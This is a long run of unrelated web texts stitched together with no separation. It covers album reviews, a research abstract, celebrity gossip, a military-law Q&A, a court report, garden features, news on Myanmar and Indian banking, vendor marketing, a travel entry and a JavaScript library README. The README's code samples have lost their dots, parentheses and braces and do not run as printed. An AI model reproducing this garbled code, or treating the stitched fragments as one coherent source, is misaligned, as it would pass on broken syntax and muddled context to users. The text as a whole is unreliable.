Sound: This is the first CD I have ever listened to by Yngwie. I was at the music store one day and I decided to pick it up since I've heard about his music before. When I first listened to it I was blown away by the blistering guitar work and neo classical shred passages. The vocals sort of remind me of Iron Maiden and at times Zakk Wylde. If you are into shred I would recommend you give this CD a try. // 10
Lyrics: Some of the lyrics might sound cheesy to some people, but I don't have a problem with them. On a couple of songs Yngwie sings lead. Both the singers are good though and they don't leave your ears hurting. // 8
Overall Impression: This was definately a good buy and well worth the money. I love just about every song on this CD. It has enough solos to keep me satisfied. If I lost it or it were broken I would definately buy it again and probably a few more Yngwie CDs. 18 tracks of Heaven. // 10
Sound: Well Yngwie returns, and he must be pissed, cause every song owns on this album. This is definitly their heaviest album, no doubt. The 80's sound and shred is still present, but the harder riffing, and double bass drums add a unique side to Yngwie's album. Though the sound quality kinda isn't the greatest, for some reason it sounds like an Indie self-financed album, it's pretty rough, but I guess it adds to the 'heavier' edge. Well, it shows more or less that Yngwie isn't dead yet, he's still around. // 9
Lyrics: I've never been too fond of Yngwie's lyrics, but who can blame me, I don't know many people who really care for anything but Yngwie's playing. But the lyrics really are some of the best I've heard from Yngwie and the singer is amazing as usual, but once again, it's Yngwie, and Yngwie's band. I guess the lyrics just aren't enough to stand with the guitar in this album, but some songs have cool singing parts, like Revolution, probably my fav. song on here. // 7
Overall Impression: Well every solo sounds like Yngwie, it's nothing new, he uses the same notes, same patterns, same most everything, but you know what I still love it! Guitar-wise, every song stands out, he's still a better player than most give him credit for, but I think they are just jealous of the guys serious chops. Lyrically/singing, well lyrics aren't the best ever but are the best Yngwie ones, and the singing is never dull. I just don't like how Yngwie never really changes too much of what he does, but I still love it, so it's all good. // 10
Sound: I found yngwie about a year ago when my friend was talking about some kid learning 20 seconds of the most insane guitar work he had ever heard. The kid had been practicing for 2 years. I thought the kid was just useless but I downloaded "Arpeggios From Hell" and its been the best thing I've ever done. I have over 100 of his songs and all of them are masterpeices. This is no exception. The Technicality of his guitarwork simply blows my mind even after I have heard it numberous times. He is truly the best guitarist in the world today. Songs like "Russian Roulette" are stock full of solo work that would confuse even the best guitarists you know. On some songs he plays base solos in the background that flow so well with the singing such as in "Beauty And A Beast" that you really have to look hard to pick out. When you start to hear him go though you will be amazed. // 10
Lyrics: Many people critisize Yngwie for his lyrics calling them cheap and cheesy. To a point they are right on some of his earlier works. He has been working on his lyrics it appears because he has made a solid improvement. Cheroke Warrior seems to have some good thought into it and Russian Roulette also seems to stand out. Unleash the Fury was more about guitar work but had some interesting lyrics too. Probably my favoirte lyrics are from the first song Locked and Loaded. "Youv'e got a head full of lead, thats what I said. Youv'e got a head full of lead and now your dead." sung to a great beat and melody simply gets you into his song and the enjoyment skyrockets. // 9
Overall Impression: His best album will most likely always be "Oddesy" but this one comes very close. Some of the guitar work is scary to listen to at times because your thinking "He must have strained some hand muscles doing this." Overall I think that this is a great CD and the perfect addition to any Malmsteen fan. Good for first time listners too. // 10
Sound: Even in his 40, Yngwie proves he can still shred on guitar. His playing is simply unbeliveable on this album and he seems to try to stay away from his usual Em scale and put all of his heart and soul into his solos. You can tell how much effort and dedication was put into this CD and is a new dose of shred for the hardcore Yngwie fans. // 9
Lyrics: The lyrics on this cd are very well written and really express a certain message throught the song. The lyrics are almost like another melody intertwining in the constant flow of the song. Yngwie doesn't have amazing talet with his singing skills but for the songs he does sing (Cracking The Whip and Cherokee Warrior) he sounds really good. His main singer, who sings just like they did in the '80s, can at times sound extreemely cheesy but its bearable. A great effort to boost up the talent in his lyrics by Malmsteen. // 9
Overall Impression: This may not be his best album but some of the songs like Cracking The Whip and Revolution are guaranteed to be instant classics. My favorite songs on the CD are Paraphrase, Fuguetta, Cracing The Whip, Unleash The Fury, Magic And Mayhem, Revalation (Drinking With The Devil), Let The Good Times Roll and Revolution. I was a bit disappointed when I found out there were only three instrumentals on the CD, and two of them were under 2 minutes long. Even though short, they make up in catchiness. If my copy of Unleash The Fury was stolen I know for sure that I would Unleash The Fury! // 10
Sound: I love Malmsteen his guitar skills are quite spectacular, this was my first Malmsteen CD so didn't really know if it would sound good or not, but they're band works well together. The booklet in the CD shows some history of Malmsteen and the lyrics in his songs. // 9
Lyrics: A lot of people don't like the lyrics in Malmsteen songs and though I will admit they are kind of cheesy in a way, I think the way he sings them sounds beautiful with his music. Besides the fact that the drummer, bass player, and guitarist are absolutely amazing the singing is ok, I don't think any of them could be said as grate singers but they are defiantly alright, and they're music makes up for the ok singing. // 7
Overall Impression: If you love guitar you would miss out by not getting this CD, the music on this CD can easily hold up to any of my other 100 CDs easily. All of the songs have amazing guitar solos in them but if I had to pick the most impressive of all of them I would say it would be Magic and Mayhem, and Russian roulette. I love the music in this CD the only thing I can say I dislike is that the singing isn't the best. If you love guitar you need to get this CD! // 9

Image Pixel Based Photometric Redshift Estimation
Alankar Kotwal
Organization: Laboratory for Cosmological Data Mining
Assigned mentors: Matias
Abstract: Current techniques for photometric redshift estimation rely upon reduced integrated information from images. The information that is wasted on a pixel level can be made use of in order to get a better estimate. The performance of this technique can then be checked on different hardware like GPUs and against the machine learning algorithm used.

The pain is not noticeable when I walk around or when I sit down regularly but if I sit on my bike (Selle Italia Turbo Saddle), the pain comes back. It hurts on the inner bones, close to the "buisness end" haha.

|Using Multispectral Satellite Data to Determine Littoral Water Depths Despite Varying Water Turbidity - Satellite data is used to determine water depth by accounting for the changing turbidity of the water over time and without requiring calibration using SONAR measurements. Radiance values at multiple wavelengths sensed at both a first time and a second time are stored in a database. Modeled reflectance values are calculated for a defined surface area on the water based on an assumed depth, assumed water constituents and assumed bottom cover. A plurality of differences between the modeled reflectance values and the reflectances sensed at the two times are calculated. A bathymetry application module minimizes the sum of the differences between the modeled and sensed subsurface reflectances by varying the assumed depth, bottom cover and water constituents. The differences are weighted based on wavelength before being summed. The depth that results in the minimized sum of the differences is the estimated depth, which is displayed on a graphical user interface.

Did Kris Jenner Get a Facelift To Look Fresh For Kim Kardashian's Wedding?
July 15, 2011 07:00 AM by Kristin Watson
That Kris Jenner, she's always trying to keep up with the Kardashians. It was recently revealed that the matriarch of the famous Kardashian clan underwent a facelift, but we're not entirely convinced Kris Jenner spruced up her face just for Kim Kardashian's wedding. Read on to find out the details…
Keeping Up With The Kardashians star Kris Jenner is always doing something new and wacky. Whether it's getting husband Bruce Jenner to be more adventurous or trying to change her name to Kardashian for "marketing" reasons, you can count on Kris Jenner to keep up with the times. That's why we're not entirely convinced she had a facelift just for Kim Kardashian's wedding to Kris Humphries. We know, it's very close to the wedding and everyone is saying it's so, but hey, why not get a tune up because you want to? Check out the debacle below in E!'s exclusive video.
Sure, Kris Jenner probably wants to feel lifted and fresh on the biggest day of her daughter's life, but when hasn't she kept up with her looks? In the past, E! has shown the mom's plight to stay fit and trim with the changing times and getting a facelift isn't something that completely surprises us. Kris Jenner is hip, she's cool, she's not going to let gravity to take her down!
Of course, any surgery is painful and it isn't surprising Kris Jenner said, "I've never had such a stressful morning, honestly, in my life," right before her surgery.
The surgery is said to have taken place about a month ago. Daughter Khloe Kardashian told The New York Daily News, "She looks amazing. They say you are supposed to have a lot of swelling for a week or so after, but I didn't notice."
Kris Jenner's daughter Kim Kardashian is set to marry Kris Humphries in August. Do you think mama Jenner's facelift was done to upstage the bride?

Military Law
Have Military Law Questions? Ask a Military Lawyer.
Thank you for your question today, I look forward to assisting you. I have nearly 20 years of legal experience in various disciplines, including JAG.
What kind of court martial was it? General court martial or special court martial empowered to adjudge a bad conduct discharge?
When was this court martial?
I am sure it was a special court martial
1991 at MCRD Sandiego while I was assigned to edson Range
I was demoted from SGT to PVT and was not sent to the Brig.
I was going through a major life dilema with a child birth and forced to give her up for adoption. The adoptive parents gave character withness testimony on my behalf
Ok. You've missed the best window for an upgrade, which you are probably aware of. I'm assuming that is why you mentioned DD Form 149 rather than DD Form 293.
Because you are beyond 15 years, there is only one way to change your discharge status. You must use that process to seek an upgrade. The problem is that, unlike the DD Form 293 process that considers positive life changes and the effect of that discharge status on your life now, the DD Form 149 process only considers the discharge status at the time it was given.
This is because the DD Form 149 process is not meant for upgrading a discharge status. It is meant for correcting military records, so you can't approach this like an upgrade request. That time has passed. You must approach this as a request to correct an error in the record, by either establishing that the original discharge status was given in error or that it was an injustice at the time it was given. That's the only way to upgrade that status and that is a very difficult task. Less than 1% are ever upgraded through DD Form 149.
That also doesn't remove the federal conviction. There is no expungement process for that. To remove that conviction, you have to actually receive a Presidential pardon.
Does that mean it is not something I should be attempting due to the fact that I need a presidential pardon?
Basically I have no option and must remain in the status for life?
I was unaware I had a federal conviction at the time of the court martial.
How do I find that record I am attached to?
What name will show up on this in the public records...I did not understand this at the outset of the conversation...Can I have my name blocked from this chat still?

men's spring style
Look of the Week: Spring Forward (For Dudes)
While we'll be the first to admit that women tend to get the bulk of Glamwatch love, it's by no means because we don't love a well-dressed man.
And with the proliferation of dapper styles and modernized classic accessories that have been popping up on the runway and streets as of late, we think it's safe to say that preppy has never looked better.
One of our favorite warm-weather styles that inspired this week's look is what we'd like to call "1960s summer vacation" or if you prefer, "Mad Men on holiday", and includes a breezy button-down, lightweight cardigan, rolled cuff pants, timeless shades and broken-in Sebagos or loafers,
Just leave the socks at home please.

Man gets five years for child assault
The mother of a four-year-old sexual assault victim directly addressed the perpetrator as he was being sentenced Thursday in Susquehanna County Court.
"I hate you. I will never forgive you. I hope you get what's coming to you," said the tearful mother to Michael Joyce, 40, Endicott, N.Y.
Joyce was sentenced by President Judge Kenneth Seamans to serve five to 10 years on an aggravated assault of a child, under the age of 13 to be followed by five years probation on a corruption of minors – sexual nature count for a Jan. 23, 2011 incident that occurred in Great bend Twp.
The Times-Tribune does not identify the victims of sexual assault.
Joyce had been scheduled to go to trial in June 2012 but failed to appear for jury selection. He was then remanded to jail on $75,000 bail.
He entered guilty pleas to the two counts he was sentenced on in November 2012.
In addition to the victim's mother, the child's grandmother also spoke at the sentencing hearing about the negative impact Joyce's actions has had on the child.
"You destroyed the innocence of (a child). She lives in fear that she will see you again even though we reassure her that she will never see you again," she said. "Even though I'm a Christian, I will never find it in my heart to forgive you."
Joyce offered no statement prior to his sentencing.
In addition to the prison sentence, he faces a lifetime requirement to register as a sexual offender and was ordered to comply with the provisions of the Adam Walsh Act.

Both architectural feature and utilitarian element, gates can reveal or conceal, shut out the world or allow connection.
GATES ARE the portals to our gardens. Push open a large, heavy gate, walk through and click it firmly closed behind you … You've arrived.
Both architectural feature and utilitarian element, gates can reveal or conceal, shut out the world or allow connection. Gates can be topped with arbors to produce a play of light and shadow as you come and go. A gate left slightly ajar creates mystery, a rough-hewn gate set into a hedge evokes an English garden. Gates can be flat and unadorned so they blend into the fence, discernible only by hardware. They can be painted bright red or yellow to draw the eye, or a deep, dark green garnished with ornate hinges and latch to evoke a Halloween feel at any time of the year.
What atmosphere do you want? How much privacy do you need? Gates can keep the dog in and deer out. But they're also a metaphor that sets the tone and style of a garden.
Take the ancient design of the moon gate, which originated in China and was thought to bestow good luck on anyone who passed through it. The circular cutout in the otherwise solid gate is the Buddhist symbol of infinity, meant to inspire contemplation and meditation. Moon gates, or any gate with openwork, frame a unique view into the garden or out into the world beyond the garden gate.

I saw the ultimate organic gate recently, designed and crafted by Sue Skelly of Woven Cedar Works for a naturalistic garden in Gig Harbor. Skelly fashioned the gate of western red cedar harvested from her forested acreage. She cuts the branches hanging low on the trees, using fresh, pliable wood for her weaving. "I just go with the curves of the branches, I follow their natural shapes," says Skelly.
I make the mistake of asking Skelly how long it takes her to weave branches into gates. "It's taken my whole life to be able to make these," says Skelly. Her work looks comfortably at home in a Northwest garden, and is both highly decorative and surprisingly practical. "These gates don't decompose, ever, because the cedar loves to get wet," says Skelly.
For Whidbey Islander Cheryl Lawrence, building a living gate was a learning experience. Fed up with deer and rabbits eating her plants, she decided to fence in part of her garden. Local designer and builder Brad Hankins showed her a plan for a fence and planted gate made of recycled wood and metal. Lawrence got caught up in the creativity of it and ended up with a 500-pound gate that is as handsome as it is heavy.
But it turned out that the gate didn't keep deer out. "They just stepped daintily through the circle in the middle," says Lawrence, who filled in the gate's open space with a wire ornament by Whidbey artist Karl Ulmschneider. She planted the gate with licorice ferns and succulents. Their roots grow into moss, soil and tree bark sandwiched between an offset, layered grid of hog wire that holds the planting medium in place.
Despite the need for adjustments along the way, Lawrence loves the industrial look of the fence and gate. "It has transparency despite the heftiness of it," she says.
Just as Skelly did, Lawrence created a uniquely beautiful gate that does the job.

So Guillermo Del Toro's "Pacific Rim" (our review) storms into theaters
on Friday tonight, with screenings starting at 7 PM, and while critical consensus is leaning in his favor, it remains to be seen if audiences want to see robots smash monsters or watch Salma Hayek getting farted on in Adam Sandler's "Grown Ups 2" (yes, really). But no matter how the box office plays out, Del Toro has many irons in the fire (he's producing and directing the pilot of "The Strain" next, with his next feature "Crimson Peak" shooting in early 2014) and in between all that he's likely busy with a dozen other things we don't even know about yet. But things might have been very different had he stuck around to direct "The Hobbit" films (he bailed when MGM was in near financial ruin and their future was in doubt) but has he been in a rush to see what Peter Jackson has done?
"I haven't seen the second movie," he told Vulture when they asked if any of his controversial designs for Smaug survived to make the current films. "I haven't seen the first movie, so I don't know. I've been busy making my own movies. [Laughs]." And well, we can understand. It must be a little bit heartbreaking to see a wholly different vision of something you carefully planned for only for it not to happen. Del Toro soldiered on to make "Pacific Rim," but even with his exacting vision, the director turned to filmmaking friend Alejandro Gonzalez Iñárritu and Alfonso Cuaron for a little help.
"Alejandro famously came over one night on 'Pan's Labyrinth' and took fifteen minutes out of the movie," Del Toro said. "And they both came to see my cut of 'Pacific Rim.' Alejandro took about ten minutes out of it with me. Alfonso also took a few minutes out but mostly gave ideas on editing — move this, move that. I watched [Cuarón's] 'Gravity' recently and came up with a few visual gags and helped him edit a few minutes out."
Indeed, Del Toro is very conscious about running times and not overstaying his welcome. "All I know is that as an audience member, my ass meter starts ringing its fire alarm after two hours," he explained. "If you're going for a great burger or a great pizza, you hope you don't have to wait for two hours as if you were at French Laundry in Napa. It's the same with a movie, I think. At least when you're thinking about an audience that is young — chronologically or at heart — you want to keep the movie at or under two hours."
All told, it seems del Toro and his pals act as a sounding boards for each other, in what must be a pretty nice group to work in, but what exactly the footage cut from "Pacific Rim" is -- and whether or not we'll see it -- is a question we'll have to ponder for the moment. Until then, Jaegars and Kaijus wreak havoc at a theatre near you. Bonus round: here's Del Toro talking to the Criterion Collection about "Godzilla."

YANGON Myanmar's government started talks with top commanders of the Kachin Independence Army (KIA) rebel group in China on Monday to try to rescue a faltering peace process and end one of the country's bloodiest ethnic conflicts.
The meeting in Ruili, just inside Chinese territory, was aimed at laying the foundation for further negotiations after 11 rounds of talks in which both sides failed to make any breakthrough, according to sources on both sides, who declined to be identified because of the sensitivity of the issue.
The talks come off the back of an unprecedented escalation in a conflict in which the military has been accused of using excessive force, discrediting a government lauded for its broad reforms and initiating a nationwide peace drive.
The fighting has displaced tens of thousands of people since it broke out anew in June 2011, when a 17-year truce collapsed. The number of casualties is not known.
The KIA are fighting for autonomy for Kachin state within a federal Myanmar. The rulers of ethnically diverse Myanmar have long ruled out calls for autonomy from the Kachin and other minority groups.
The government sent its top negotiator Aung Min, a minister in the office of President Thein Sein, to Monday's meeting, which was also attended by the second-in-command of the KIA, General Gun Maw.
Gun Maw's no-show at talks in October was taken as a slap in the face for top generals in Myanmar's army, whom Thein Sein had worked hard to convince to attend, according to two sources with knowledge of the issue.
"The significance of today's meeting is General Gun Maw was present," one of the sources told Reuters by telephone.
Truces with ethnic minority rebel groups, some of which have fought central governments since the end of British colonial rule in 1948, were among a series of reforms that led to the suspension last year of most Western sanctions on Myanmar. The KIA is the only group that has yet to agree to a ceasefire.
The conflict was thrust into the domestic and international spotlight when Myanmar's military admitted in December to using jets for air strikes to thwart what it said was KIA aggression.
Witnesses and activists say helicopter gunships were also deployed against the KIA, which is one of the strongest rebel armies in Myanmar and has its own munitions factories.
Retired general Thein Sein has been praised for reaching out and striking ceasefires with various groups including the Karen National Union (KNU), which had been fighting for autonomy for Karen state along the border with Thailand for 60 years.
But the heavy fighting in Kachin state has raised doubts about his ability to control the military, which ruled Myanmar from 1962-2011.
He repeatedly made public calls for troops not to launch offensives, but fighting has not stopped. The government says it wants peace.
Although Monday's talks could build some trust and reduce tensions, a lasting truce could be hard to come by and would require at least one party to soften its stance.
The government wants a ceasefire agreement signed before any long-term political deal is discussed, but the KIA, which harbours deep distrust of the military, wants a concrete proposal to be made before it signs a truce.
The sources close to Monday's meeting said representatives of the KNU also attended as a means of building confidence.
A deal with the KIA would allow the government to start political negotiations, which are expected to be highly complex. It has given no indication as to how it will bring groups that have sought autonomy into the political fold and what guarantees and inducements would be offered.

BPA creates platform for dialogue with policy makers
Sanjeevi JAYASURIYA
Business is a key stakeholder in Sri Lanka's economy. Its own
progress and prosperity relies heavily on a stable and peaceful
environment within which it could grow.
The Business for Peace Alliance (BPA) has created platforms for
individual corporate social investment, donor programs, Government
corporations and collective efforts to influence a systemic change
beyond the capacity of individual endeavours, said BPA Chairman Suresh
de Mel.
The BPA is Sri Lanka's regional chambers of commerce network for
conflict transformation, reconciliation, regional empowerment and
corporate responsibility. The organization conducted a seminar on "A
one-stop opportunity to explore Sri Lanka's regions with business
leaders from all the provinces" in Colombo yesterday.
Secretary General/Chief Executive Officer Manique Mendis said, "As
Sri Lanka enters a new phase in development in the post-war era, the BPA
offers a unique platform that encourages proactive direction in the task
of re-building the country.
This platform features two cornerstones - regional empowerment and
reconciliation and national unity. Regional empowerment is derived by
bringing about ownership and active participation in regional
development by the people of the regions.
Reconciliation and national unity has made business and commerce
successful by cutting across barriers of geography, race, religion,
class, caste and creed and fostering the climate for a peaceful Sri
Lanka, she said.
BPA promotes peace and prosperity for all regions and communities
living in harmony throughout a united Sri Lanka where social diversity
and heritage are respected and preserved.
A responsible, professional and sustainable organization can make a
tangible contribution towards peace, reconciliation, national unity and
empowerment. The BPA encourages understanding and tolerance of diverse
cultures and environments through inter-regional business networks and
corporate social responsibility and helps create a sense of ownership
and responsibility within the business community to spearhead the
process of conflict transformation and regional empowerment.
It aims at being the voice of regional business and a platform for
dialogue with policy makers in a bottom up approach.

The Reserve Bank of India (RBI) on Wednesday directed banks to disclose sector-wise advances in the Notes to Accounts section in their financial statements from the financial year 2014-15 onwards. To enhance transparency, the RBI in March 2010 had said that banks should disclose sector-wise non-performing assets (NPAs), movement of NPAs, overseas assets and revenue, and other special purpose vehicles sponsored by banks.
During the bi-monthly policy announcement on April 1, RBI governor Raguram Rajan had proposed banks prescribe certain additional disclosure requirements in the financial statements by end-June 2014 as per the recommendations of the Nachiket Mor committee to actively manage their exposures to various sectors, including priority sector.
The RBI has been taking active steps for the early recognition of NPAs in the system and is also seeking to enhance transparency within banks to push for more prudent lending. The RBI also asked banks to classify accounts based on the number of days their interest payments are pending known as Special Mention Accounts (SMA).
According to RBI guidelines, the SMA classification is where repayment is overdue for up to 30 days, SMA-1 where repayments are overdue between 31 to 60 days, and SMA-2 where repayments are overdue between 61 and 90 days.
According to data from Capitaline, at the end of March 2014, loans of R2,50,715 crore were non-performing in the banking system. The central bank has also directed banks to provide credit information regarding their exposures above R5 crore to the Central Repository of Information on Large Credits (CRILIC). As soon as an account is classified under SMA-2, banks have to form a lenders committee called Joint Lenders Forum (JLF) to evaluate the asset and work towards early resolution of stress in the account.
On a rough reckoning, loans that are not being serviced on time at four public sector banks are estimated at around R66,000 crore. For example, at Bank of Baroda SMA-2 accounts are estimated at close to R18,000 crore, or 4.53%, of its total advances while at Bank of India (BoI), the exposure to SMA-2 accounts is approximately 5% of its total loan book or R18,000 crore.

Did the upgrade, everything goes fine, installs 6.05, during the update it tries to start mysql, but it cant (i assume, because ot the localhost gaffe)
I Ctrl-C out of the update, fix the local host proble, run the upgrade again.
However, now it says its trying to upgrade from 6.05 to 6.05...
It fails and says:
"Valid LDAP backup file not found" and then it exists.
Help? would love to figure this out here, otherwise i'll just call support and open up a tick (yay for the paid version)
But i'd like to figure it out on my own.

In this post I am going to go into a little deeper comparison of the PureData System for Analytics (the new generation of the IBM Netezza Appliances) and the Exadata Engineered System.
The PureData System for Analytics has a 10 year history of being expertly integrated so that it can be running in hours, not days, and does not need an army of DBAs to get it up and running and then keep it running. The unique hardware acceleration in the Field Programmable Gate Arrays (FPGAs) and the Asymmetric Massively Parallel Processing (AMPP) architecture allow the system to quickly get the results your users want, without the need for complex tuning, like indexes, aggregates, partition strategy, etc.
At Oracle Open World held in September 2012, a number of customers talked openly about their "migrations" to Oracle Exadata. Setting up their Exadata system in the data center took 10 days to two weeks, and "migrating" their Oracle database onto an Oracle Exadata engineered system took months to get up and running. Even Barry McGillin, Senior Development Manager at Oracle talked about a six step processes for migrating to Oracle Exadata in his session (CON8499) about Migrating to Exadata at Oracle Open World, September 2012.
These six steps include:
- Evaluation
- Migration
- Testing
- Optimization
- Data Move
- Rollout
Contrast that with PureData System for Analytics (and IBM Netezza data warehouse appliance) customer Con-way Freight. Their initial set up took less than 48 hours, and within the next two days, data was loaded and users were already submitting queries. Four days after signing the purchase order, the new Business Intelligence (BI) project was made available to users. A mere three weeks from the purchase date, the platform was running full-scale production.[1]
Oracle requires the DBA to design the data model to work well in the Oracle system. And this normally takes a number of iterations of trial and error, and/or the development of a multi-tiered data model, with the data being loaded into one physical model, and then transformed into star/snow-flake data models for reporting with different applications.
Instead of weeks of planning their data models, IBM PureData System for Analytics customers simply copy their table definitions from their existing tables, load the data, and start running their queries/reports/analytics. There is absolutely no need to create any aggregates or indexes. IBM PureData System for Analytics appliances are designed to deliver results almost immediately.
Previously I talked about the four data warehouse optimizations in Oracle Exadata and compared them to IBM Netezza/PureData System for Analytics[2]. But there is another factor that is even more important. Analytics are driving a fundamental shift in the way companies do business. The IBM Institute for Business Value to conduct a survey of nearly 3,000 executives, managers and analysts working across more than 30 industries and 100 countries. Among our key findings:
- top-performing organizations use analytics five times more than lower performers.
- Overall, our study found widespread belief that analytics offers value.
- Half of our respondents said that improvement of information and analytics was a top priority in their organizations.
- And more than one in five said they were under intense or significant pressure to adopt advanced information and analytics approaches.
- Because of these there was a 57% increase in the respondents who stated that they believe that analytics creates a competitive advantage for them.
Executives have long been accustomed to a degree of imprecision and uncertainty when making decisions critical to their growth – and survival. For some companies their "best guess" was no longer good enough; hard facts were needed. These companies (the ones that use analytics) significantly outperformed their competitors by 220%!!!
But in Oracle Exadata, the analytic processing is done on the database servers, not in parallel across all of the storage servers. The Exadata storage servers might be able to do some rudimentary filtering of the data, but all of the data (or a sample in many cases) has to be moved onto the database servers to run the analytics, if Oracle even supports the analytic function that is being run. If not, then the data needs to be move again to the analytic server where the analytics will be run. And, whether the analytics is run on the database server or on an analytic server, the analytics will run against all of the data, with little to no parallelism.
In PureData System for Analytics the analytic processing is also pushed down to the data, and operates on the massively parallel system, or a parsed/reduced set of the data as fast as it streams off the disks. The IBM PureData System for Analytics includes over 200 built in complex analytic functions that have been optimized to run on this platform. The next closest data warehouse vendor has less than 50 built in analytic functions.[3]
This means that with PureData System for Analytics you can run the analytics you need to run without constraints. And you can run it on your entire data set, not just a sample, giving far more accurate results.
The PureData System for Analytics hardware accelerated MPP architecture allows SUNY Buffalo to run quintillions of operations needed to model complex algorithms in their research for the cure for Multiple Sclerosis in minutes rather than the hours it took them before.
Now is the time to evaluate the PureData System for Analytics, but be prepared to do more with less, faster than ever before!

Amazon PS3 Bundles
By Steve West 2008-11-22 22:47:45
Boy has Amazon got a deal for you! If youve been running around looking for the perfect time to get your PS3, now is it. Well, now exactly now but soon. Amazon has 3 incredible PS3 bundles ready for the purchasing. The catch is this yup, theres a catch you have to vote on which bundle you want. Then if youre one of the lucky few you get to race to snatch one up before everyone else.
So what are these magical bundles I speak of? Glad you asked. $199 for an 80GB PS3, bundled with either Little Big Planet, The Force Unleashed or Far Cry 2. Theres also a Blu-ray bundle with hits like Firefly: The Complete Series, Pirates of the Caribbean Trilogy or a James Bond Six-Pack. $199, and theres a remote thrown in for good measure.
Its all part of the Amazon yearly Customers Vote promotion. Once you vote you just have to wait until Thursday night when an email will be sent to let you know if youre in the running. Then on Friday the bundle with the most votes will go up for the cheap listed price 500 of them and the other two will go up at a slightly higher price. Still, itll be a damn good deal even if youre not getting all kinds of goodies for $199.

Read More Industry News >
Steve Cohen, the founder of embattled Connecticut-based hedge fund firm SAC Capital Advisors, has slashed the price of his multi-million dollar Manhattan apartment.
The Daily News reported that Cohen's Bloomberg Tower duplex is now listing for $98 million from its original $115 million. The hedge fund honcho purchased the apartment—which was originally a two-unit spread-- in 2005 for $25.9 million.
Besides a condominium he recently purchased in New York City's West Village neighborhood, Cohen also owns a $62.5 million mansion in East Hampton and a 35,000-square-foot compound in Greenwich, Conn.
SAC pleaded guilty to insider trading last month after a grand jury charged the firm in July with wire fraud and four counts of securities fraud for allegedly allowing insider trading to go unchecked from 1999 through at least 2010. The SEC also charged Cohen in a civil lawsuit for failing to prevent insider trading at his firm.
SAC had about $14 billion in total assets under management as of July 1.

Sinaia (Romanian pronunciation: [siˈnaja]; population: 14,636) is a town and a mountain resort in Romania. The town was named after Sinaia Monastery, around which it was built; the monastery in turn is named after the Biblical Mount Sinai. King Carol I of Romania built his summer home, Peleº Castle, near the town.Sinaia is about 60 km northwest of Ploieºti and 50 km south of Braºov, in a mountainous area on the Prahova River valley, just east of the Bucegi Mountains. The altitude varies between 767 m and 860 m.The city is a popular destination for hiking and winter sports, especially downhill skiing. Among the tourist landmarks, the most important are Peleº Castle, Peliºor Castle, Sinaia Monastery, Sinaia Casino, Sinaia train station, and the Franz Joseph and Saint Anne Cliffs. Sinaia was also the summer residence of the Romanian composer George Enescu, who stayed at the Luminiº villa.
The climate is a characteristic of low-altitude mountain passes. Annual average temperature: 8°C; Average temperature in June: 15°C; Average temperature in January: -4°C.
Summers are bracing and very rainy in the beginning of the season. Winters are relatively mild, with heavy snow. Average annual rainfall is 900 mm. The maximum monthly registered rainfall was in June (173 mm). The minimum rainfall was recorded in September (55 mm) and February (40 mm).
A uniform layer of snow is deposited usually in November and it melts from March to April, sometimes at the beginning of May. The thickness of the snow layer varies between 20 centimeters and 3 meters in higher elevations.
In recent years, Sinaia has felt the effects of global climate change – change that has meant shorter summers, with temperatures frequently over 30°C, a slight reduction in the length of spring and autumn, and relatively longer winters (end of October – beginning of May), colder winters with entire weeks dominated by frost ( -19°C to -25°C) and numerous blizzards.
In the town of Sinaia and its surroundings restrictions are in place regarding cutting down or picking up flora. The felling of trees is not allowed. It is forbidden to pick up any alpine plants. Severe punishment may be in store for those who gather these plants: the Mountain Peony (Rhododendron Kotsky), Edelweiss (Leontopodium alpinum), and the Yellow Gentiana (Gentiana lutea). Tourist camping is only authorized in designated places, following necessary and compulsory protection standards.
The mountainous area in which Sinaia is located is in the Bucegi Natural Park region. The Park covers a total area of 326.63 square kilometres, of which 58.05 square kilometres are under strict protection and shelter natural monuments. The Bucegi Natural Preserve area includes all the abrupt areas of the mountains Vârful cu Dor, Furnica, and Piatra Arsã. The mountainous area is continuously patrolled by mountain rescue patrols as well as by members of the Mountain Police.
At the entrance to the Cumpãtu district, one can find the "Sinaia alder-tree grove" botanical reservation placed under the protection of the Romanian Academy and the Bucharest Biology Institute. In the same district, there is also another ecological research station under the patronage of UNESCO – Jacques-Yves Cousteau, belonging to the University of Bucharest, which also includes a museum of Bucegi Mountains fauna in a laboratory for nature protection.

Additional and detailed examples are showcased below and in the documentation pages.
You can use any of
dist/waveform-data.min.js or
dist/waveform-data.js files.
They are delivered as UMD module so they can be used as:
define(['WaveformData'], function(WaveformData){ ... }))
var WaveformData = require('waveform-data');)
var xhr = ; // .dat file generated by audiowaveform program xhrresponseType = "arraybuffer";xhropen"GET" "http://example.com/waveforms/track.dat";xhraddEventListener"load" var waveform = WaveformDatacreateprogressEventtarget; console.logwaveformduration;;xhrsend;
var waveform = WaveformDatacreateraw_data;var interpolateHeight = var amplitude = 256; return return total_height - size + 128 * total_height / amplitude; ;;var y = interpolateHeightcanvasheight;var ctx = canvasgetContext;ctxbeginPath; // from 0 to 100 waveformminforEach ctxlineTox + 0.5 yval + 0.5;; // then looping back from 100 to 0 waveformmaxreverseforEach ctxlineTowaveformoffset_length - x + 0.5 yval + 0.5;; ctxclosePath;canvasfillStroke;
var waveform = WaveformDatacreateraw_data;var layout = d3selectthisselect"svg";var x = d3scalelinear;var y = d3scalelinear;var offsetX = 100; xdomain0 waveformadapterlengthrangeRound0 1024;ydomaind3minwaveformmin d3maxwaveformmaxrangeRoundoffsetX -offsetX; var area = d3svgarea x return xi y0 return ywaveformmini y1 return yd ; graphselect"path" datumwaveformmax attr"transform" return "translate(0, "+offsetX+")"; attr"d" area;
You can use the library to both consume the data on the frontend and emitting them from a Node.js HTTP server, for example.
// app.js var WaveformData = require"waveform-data";var express = require"express";var app = express; // ... appget"/waveforms/:id.json" var data = require"path/to/"+ reqparamsid +".json"; resjsondata;;
You could even self-consume the data from another application:
#!/usr/bin/env node// app/bin/cli-resampler.js // called like `./app/bin/cli-resampler.js --wid=1337` var WaveformData = require"waveform-data";var request = require"request";var args = require"optimist"argv; requestget"http://api.myapp.com/waveforms/"+ arvgwid +".json" var resampled_waveform = WaveformDatacreatebodyresample2000; processstdoutwriteJSONstringify min: resampled_waveformmin max: resampled_waveformmax ;;
The file format used and consumed by
WaveformData is documented as part of the audiowaveform project.
We basically have headers containing:
version number of the data format
number of bits used to encode the waveform data points
length of samples to render
sample rate of the original audio file used to compute the data
samples per pixel which specifies the time resolution of the waveform data
The body contains a single range of minumum and maximum audio peaks.
Which means if we have a
length of 100, it means we have 200 elements in the body.
Waveform Data Format Documentation
This section describes the
WaveformData API.
This is the main object you use to interact with the waveform data. It helps you to:
WaveformData API Documentation
